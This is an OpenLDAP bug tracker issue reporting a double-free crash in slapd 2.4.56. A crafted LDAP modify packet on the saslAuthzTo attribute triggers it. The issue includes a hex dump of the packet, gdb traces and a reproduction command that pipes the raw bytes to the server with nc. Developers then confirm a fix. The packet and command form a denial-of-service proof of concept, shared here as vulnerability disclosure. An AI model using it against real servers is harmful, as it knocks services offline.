Issue 9412 - Packet crashes openldap due to double free, related to saslAuthzTo

Status: VERIFIED FIXED
Alias: None
Product: OpenLDAP
Component: slapd (show other issues)
Version: 2.4.56
Hardware: All All
Importance: --- normal
Target Milestone: 2.4.57
Assignee: OpenLDAP project
URL:
Keywords:
Depends on:
Blocks:

Reported: 2020-12-01 09:59 UTC by phasip
Modified: 2021-01-18 20:06 UTC (History)
CC List: 0 users
See Also:

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2020-12-01 09:59:42 UTC** Description

```
A packet crashes openldap due to a double free.
Output
...
5fc612d9 conn=1002 op=0 MOD attr=saslAuthzTo
free(): double free detected in tcache 2

Packet:
    00000000: 3036 0201 3c66 2891 0040 1411 016b 0100  06..<f(..@...k..
    00000010: cd02 870b 7361 736c 4175 7468 7a54 6fbe  ....saslAuthzTo.
    00000020: 175b 154f 3d05 022b 4c3d 3030 302b 4c3d  .[.O=..+L=000+L=
    00000030: 0534 5acd ba7f 0523 1336 2e31 2e34 2e2e  .4Z....#.6.1.4..
    00000040: 312e 332e 362e 312e 342e 312e 3231 3030  1.3.6.1.4.1.2100
    00000050: 382e 3130 3839 3633 2e31 2e32 7f05 332e  8.108963.1.2..3.
    00000060: 362e 312e 342e 312e 3230 304a 312e 332e  6.1.4.1.200J1.3.
    00000070: 362e 342e 312e 3231 3030 3031 2e2e 3130  6.4.1.210001..10
    00000080: 382e 3633 2e31 362e 312e 342e 233b 4f3d  8.63.16.1.4.#;O=
    00000090: 0502 2b4c 3d32 3130 3038 2e31 3038 0301  ..+L=21008.108..
    000000a0: 4503 00a0 8189 1062 30a4 a4a4 0fff 1046  E......b0......F
    000000b0: 227f 40a1 232e 3633 2e31 2e32 5e5e 5e40  ".@.#.63.1.2^^^@
    000000c0: 2e36 3d5c 227f 312e 2e36 2e34 2e2e 312e  .6=\".1..6.4..1.
    000000d0: 2e34 2e52 2e32 3123 112e 342e 312e 3731  .4.R.21#..4.1.71
    000000e0: 3030 382e 315c 3030 382e 315c 5c5c 5c5c  008.1\008.1\\\\\
    000000f0: 5c5c 227f 312e 2e                        \\".1..


Gdb output:
    Starting program: /openldap/servers/slapd/slapd -h ldap://:1389/ -d 256
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    5fc6127f @(#) $OpenLDAP: slapd 2.X (Dec  1 2020 08:25:21) $
        @1f8f0c8d0e86:/openldap/servers/slapd
    5fc6127f slapd starting
    [New Thread 0x7fff8b2d3700 (LWP 11)]
    [New Thread 0x7fff8aad2700 (LWP 12)]
    5fc61293 conn=1000 fd=11 ACCEPT from IP=[::1]:53318 (IP=[::]:1389)
    5fc61296 conn=1000 op=0 CMP dn="" attr="saSlAuthzTo"
    [New Thread 0x7fff8a2d1700 (LWP 13)]
    5fc61296 conn=1000 op=0 RESULT tag=111 err=16 qtime=0.000012 etime=0.000287
text=
    5fc61296 conn=1000 fd=11 closed (connection lost)
    5fc6129b conn=1001 fd=11 ACCEPT from IP=[::1]:53320 (IP=[::]:1389)
    5fc6129d conn=1001 op=0 CMP dn="" attr="saSlAuthzTo"
    5fc6129d conn=1001 fd=11 closed (connection lost)
    5fc612d7 conn=1002 fd=11 ACCEPT from IP=[::1]:53322 (IP=[::]:1389)
    5fc612d9 conn=1002 op=0 MOD dn=""
    5fc612d9 conn=1002 op=0 MOD attr=saslAuthzTo
    free(): double free detected in tcache 2

    --Type <RET> for more, q to quit, c to continue without paging--
    Thread 4 "slapd" received signal SIGABRT, Aborted.
    [Switching to Thread 0x7fff8a2d1700 (LWP 13)]
    __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    50  ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
    (gdb) bt
    #0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    #1  0x00007ffff7dd4859 in __GI_abort () at abort.c:79
    #2  0x00007ffff7e3f3ee in __libc_message (action=action@entry=do_abort,
        fmt=fmt@entry=0x7ffff7f69285 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
    #3  0x00007ffff7e4747c in malloc_printerr (
```

```
        str=str@entry=0x7ffff7f6b5d0 "free(): double free detected in tcache 2")
        at malloc.c:5347
    #4  0x00007ffff7e490ed in _int_free (av=0x7fff80000020, p=0x7fff801018b0,
        have_lock=0) at malloc.c:4201
    #5  0x000055555567589c in ber_memfree_x (p=<optimized out>,
        ctx=<optimized out>) at memory.c:152
    #6  0x0000555555565752b in ldapava_free (ava=0x7fff7c102730, ctx=ctx@entry=0x0)
        at getdn.c:605
    #7  0x00005555556587b0 in ldap_rdnfree_x (rdn=0x7fff801019f0,
        ctx=ctx@entry=0x0) at getdn.c:626
    #8  0x0000555555565880a in ldap_dnfree_x (dn=0x7fff7c000b90, ctx=ctx@entry=0x0)
        at getdn.c:648
    #9  0x0000555555597255 in dnPretty (syntax=syntax@entry=0x0,
        val=val@entry=0x7fff8a2cd850, out=out@entry=0x7fff8a2cd890,
        ctx=ctx@entry=0x0) at dn.c:563
    #10 0x00005555555cbbde in authzPrettyNormal (val=val@entry=0x7fff80101920,
        normalized=normalized@entry=0x7fff8a2cf9b0, ctx=ctx@entry=0x0,
        normalize=normalize@entry=0) at saslauthz.c:558
    --Type <RET> for more, q to quit, c to continue without paging--
    #11 0x00005555555cdaa2 in authzPretty (syntax=<optimized out>,
        val=0x7fff80101920, out=0x7fff8a2cf9b0, ctx=0x0) at saslauthz.c:905
    #12 0x0000555555559e6ce in ordered_value_pretty (ad=ad@entry=0x5555557934c0,
        val=0x7fff80101920, out=out@entry=0x7fff8a2cf9b0, ctx=ctx@entry=0x0)
        at value.c:511
    #13 0x0000555555559a505 in slap_mods_check (op=op@entry=0x7fff80000ee0,
        ml=0x7fff80101ba0, text=text@entry=0x7fff8a2d0aa0,
        textbuf=textbuf@entry=0x7fff8a2cfa20 "saslAuthzTo",
        textlen=textlen@entry=256, ctx=ctx@entry=0x0) at modify.c:574
    #14 0x0000555555559b77e in do_modify (op=0x7fff80000ee0, rs=0x7fff8a2d0a80)
        at modify.c:165
    #15 0x0000555555583a59 in connection_operation (ctx=ctx@entry=0x7fff8a2d0ba0,
        arg_v=0x7fff80000ee0) at connection.c:1163
    #16 0x00005555555840c0 in connection_read_thread (ctx=0x7fff8a2d0ba0, argv=0xb)
        at connection.c:1314
    #17 0x0000555555570dbc in ldap_int_thread_pool_wrapper (xpool=0x555555798340)
        at tpool.c:1051
    #18 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
        at pthread_create.c:477
    #19 0x00007ffff7ed1293 in clone ()
        at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
    (gdb)

Testing:
    (Alternative to using docker hub: docker build -t phasip/openldap
https://github.com/Phasip/openldap-docker.git#main)
    (Also works on 2.4.56 bitnami image bitnami/openldap )
    docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
    echo -en
'\x30\x36\x02\x01\x3c\x66\x28\x91\x00\x40\x14\x11\x01\x6b\x01\x00\xcd\x02\x87\x0b\x73\x61\x73\x6c\x41\x75\x74\x68\x7a\x54\x6f\xbe\x17\x5b\
| nc localhost 1389
```

Howard Chu **2020-12-01 21:32:53 UTC** Comment 1

(In reply to phasip from comment #0)
> A packet crashes openldap due to a double free.
> Output
> ...
> 5fc612d9 conn=1002 op=0 MOD attr=saslAuthzTo
> free(): double free detected in tcache 2

Fixed in git master

Quanah Gibson-Mount **2020-12-02 21:59:20 UTC** Comment 2

Trunk:

- 42d42421

by Howard Chu at 2020-12-01T19:04:54+00:00
ITS#9412 fix AVA_Sort on invalid RDN

RE24:

- 5a2017d4

by Howard Chu at 2020-12-02T21:43:40+00:00
ITS#9412 fix AVA_Sort on invalid RDN

Format For Printing - XML - Clone This Issue - Top of page